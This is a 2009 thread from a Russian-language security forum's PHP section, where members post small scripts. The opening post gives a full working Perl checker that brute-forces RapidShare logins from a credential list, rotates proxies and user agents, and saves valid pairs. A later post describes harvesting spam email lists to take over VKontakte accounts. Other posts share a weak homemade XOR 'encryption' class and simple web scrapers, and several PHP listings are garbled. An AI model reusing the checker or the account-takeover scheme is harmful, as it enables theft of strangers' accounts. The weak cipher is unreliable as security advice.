HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 16.09.2009, 18:47
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
Smile

Писал когда то чекер/брутер акков рапиды
Код:
#!/usr/bin/perl
#RapidShare.com checker by Gaus
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';

#################################################
my $threads_count = 1;                          # Кол-во потоков
my $file_accounts = 'accs.txt';                 # Файл с акками
my $file_valid_accounts = 'valid.txt';          # Файл с валидными акками
my $delm_accounts = ';';                        # Разделитель списка акков
my $proxy_file = 'proxy.txt';                   # Файл с прокси
my $proxy_mode = 'OFF';                         # Юзать прокси(ON/OFF)
#################################################

my @accs : shared = lf($file_accounts);
my @proxys : shared = lf($proxy_file);
threads->new(\&main) for 1 .. $threads_count;
$_->join for threads->list;
sub main
{
    while(@accs)
    {
        my $ua = LWP::UserAgent->new(timeout => 35,
                                     cookie_jar => new HTTP::Cookies,
                                     agent => agent());
        if($proxy_mode eq 'ON')
        {
            until(proxy($ua)){}
        }
        my ($login, $pass) = split $delm_accounts => shift @accs;
        my $answ = $ua->post("https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi",
                           ["uselandingpage" => 1,
                            "login" => $login,
                            "password" => $pass])->code;
        if($answ == 302)
        {
            wf($file_valid_accounts, "$login:$pass\n");
            print "[ + ] $login:$pass\n";
        }
        else
        {
            print "[ - ] $login:$pass\n";
        }
    }
}
sub proxy
{
    my $ua = shift;
    my ($ip,$port) = split ':' => $proxys[rand scalar @proxys];
    $ua->proxy('http' => "http://$ip:$port");
    my $test = $ua->get('http://zerg.helllabs.com.ua/cgi-bin/textenv.pl')->content;
    if($test =~ m,REMOTE_ADDR=$ip,i)
    {
        print "[ + ] Current proxy: $ip:$port\n";
        return 1;
    }
    else
    {
        print "[ - ] Error proxy: $ip:$port\n";
        return 0;
    }
}
sub agent
{
    my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
    return $agents[rand scalar @agents];
}
sub lf
{
    open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n";
    chomp(my @data = <$dat>);
    close $dat;
    return @data;
}
sub wf
{
    open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
    flock $dat, LOCK_EX;
    print $dat $_[1];
    flock $dat, LOCK_UN;
    close $dat;
}
 
Ответить с цитированием

  #2  
Старый 17.09.2009, 02:26
Gar|k
Постоянный
Регистрация: 20.03.2009
Сообщений: 564
Провел на форуме:
991929

Репутация: 395


По умолчанию

Я тут щас вспомнил одну штуку которую я юзал года 2 назад... это stdClass (уверен что многие даже не знают о его существовании). Это встроенный в php обьект (незнаю был ли он в php3 но в 4 версии был точно) он не поддерживает методов, но в нем очень удобно хранить любые данные и переменные. Если вы приверженец функцонального программирования stdClass избавит вас от проблемы области видимости переменных (аля global $a,$b,$c.....$z; блин не работает ааа!!! забыл $z1 прописать...)

PHP код:
$obj = new StdClass;
$obj->a="Hay";
$obj->b=array("a","b","c");
$obj->x=1
 
Ответить с цитированием

  #3  
Старый 17.09.2009, 02:58
Kusto
Moderator - Level 7
Регистрация: 04.02.2007
Сообщений: 554
Провел на форуме:
7518056

Репутация: 1089


По умолчанию

так все в бед попадают (и кроме того в файл бед пишеться только знак @ т е ни логина ни домена)))
я конечно не доктор но прежде чем сохранить в этой строчке
fwrite($good, $login . "@" . $domain . "\n")
переменные обьявить нужно))), короче я так понял что еще три строчки и код будет такой-же корявый как и мой))))) (единственное мой рабочий)
а курл я использовал потому что по задумке после проверки те номера которые собирал в гууд должны были региться (авторегер) (сами понимаете что прочекав спам базу в ней обязательно найдуться мыла которые майл удалил а на этих мылах очень часто висят акки вконтакта)))

Последний раз редактировалось Kusto; 17.09.2009 в 03:16..
 
Ответить с цитированием

  #4  
Старый 17.09.2009, 20:57
Fkb
Новичок
Регистрация: 05.08.2009
Сообщений: 7
Провел на форуме:
307952

Репутация: 2
По умолчанию

есть скрипт на сбор id групп вконтакте?
 
Ответить с цитированием

  #5  
Старый 17.09.2009, 21:12
svesve
Постоянный
Регистрация: 15.06.2007
Сообщений: 527
Провел на форуме:
1734541

Репутация: 214


По умолчанию

простой класс шифрования строки, думаю будет полезен новичкам
PHP код:
class Crypter{

   var 
$key;


   function 
Crypter($clave){
      
$this->key $clave;
   }

   function 
setKey($clave){
      
$this->key $clave;
   }
   
   function 
keyED($txt) { 
      
$encrypt_key md5($this->key); 
      
$ctr=0
      
$tmp ""
      for (
$i=0;$i<strlen($txt);$i++) { 
         if (
$ctr==strlen($encrypt_key)) $ctr=0
         
$tmp.= substr($txt,$i,1) ^ substr($encrypt_key,$ctr,1); 
         
$ctr++; 
      } 
      return 
$tmp
   } 
   
   function 
encrypt($txt){ 
      
//srand((double)microtime()*1000000); 
      
$encrypt_key md5($this->key); 
      
$ctr=0
      
$tmp ""
      for (
$i=0;$i<strlen($txt);$i++){ 
         if (
$ctr==strlen($encrypt_key)) $ctr=0
         
$tmp.= substr($encrypt_key,$ctr,1) . 
             (
substr($txt,$i,1) ^ substr($encrypt_key,$ctr,1)); 
         
$ctr++; 
      } 
      return 
base64_encode($this->keyED($tmp)); 
   } 

   function 
decrypt($txt) { 
      
$txt $this->keyED(base64_decode($txt)); 
      
$tmp ""
      for (
$i=0;$i<strlen($txt);$i++){ 
         
$md5 substr($txt,$i,1); 
         
$i++; 
         
$tmp.= (substr($txt,$i,1) ^ $md5); 
      } 
      return 
$tmp
   } 


Далее вызываем класс и определяем ключ для нашего шифрования

PHP код:
$crypt= new Crypter('ТУТ ПИШЕМ КЛЮЧ');

Например

$crypt
= new Crypter('anti4at'); 
чтобы зашифровать строку
PHP код:
$str='password'// строка которую надо зашифровать
$crp=$crypt->encrypt($str); 
в переменной crp лежит зашифрованая строка password

чтобы расшифровать

PHP код:
$decrp=$crypt->decrypt($crp); 
 
Ответить с цитированием

  #6  
Старый 24.09.2009, 23:18
Evgen...
Познающий
Регистрация: 08.08.2009
Сообщений: 32
Провел на форуме:
651330

Репутация: 11
По умолчанию

Взял пару спс
 
Ответить с цитированием

  #7  
Старый 25.09.2009, 19:02
cren
Участник форума
Регистрация: 05.05.2009
Сообщений: 262
Провел на форуме:
373836

Репутация: 53
По умолчанию

PHP код:
<?php
$page 
= isset($_GET['dom'])    ?    $_GET['dom']    :    '';
$s file_get_contents('http://wtools.biz/whois/?domain='.$page.'');
$matches explode('<p><b>'$s);
$matches explode('Что'$matches[1]);
echo 
$matches[0];
// waketwo.ru
// xyuha.ru
?>
Незнаю даже как назвать, но скрипт типа граббер whois сервиса...

Для просмотра инфы о домене нужна зайти на скрипт.php ?dom=ДОМЕН КОТОРЫЙ ХАТИМ ПРОСМОТРЕТЬ

P.S. Скрипт писал под ICQ бота, поэтому нету полей ввода и т.д.
 
Ответить с цитированием

  #8  
Старый 25.09.2009, 19:04
cren
Участник форума
Регистрация: 05.05.2009
Сообщений: 262
Провел на форуме:
373836

Репутация: 53
По умолчанию

PHP код:
<?php

// Автор: wake2(cren)
// ICQ: 170-6-177
// БЛОГ: http://waketwo.ru/
// ВАРЕЗ ПОРТАЛ: http://xyuha.ru/
$www rand(1404621);
$fp file_get_contents('http://bash.org.ru/quote/'.$www.'');
$matches explode('<div>'$fp);
$matches explode('</div>'$matches[1]);
echo 
$matches[0];
?>

Выводит рандомную цитату с баш.орг.ру
 
Ответить с цитированием

  #9  
Старый 25.09.2009, 19:10
cren
Участник форума
Регистрация: 05.05.2009
Сообщений: 262
Провел на форуме:
373836

Репутация: 53
По умолчанию

PHP код:
<?php

// Автор: wake2(cren)
// ICQ: 170-6-177

$r rand(14626);
$fp file_get_contents('http://nya.sh/post/'.$r.'');
$matches explode('</i></div>'$fp);
$matches explode('</div>'$matches[1]);
echo 
$matches[0];


?>

Скрипт выводит рандомную цитату с НЯШ'a (nya.sh)

Последний раз редактировалось cren; 25.09.2009 в 23:02..
 
Ответить с цитированием

  #10  
Старый 25.09.2009, 20:17
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме:
6462214

Репутация: 3171


По умолчанию

Я просто в шоке
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.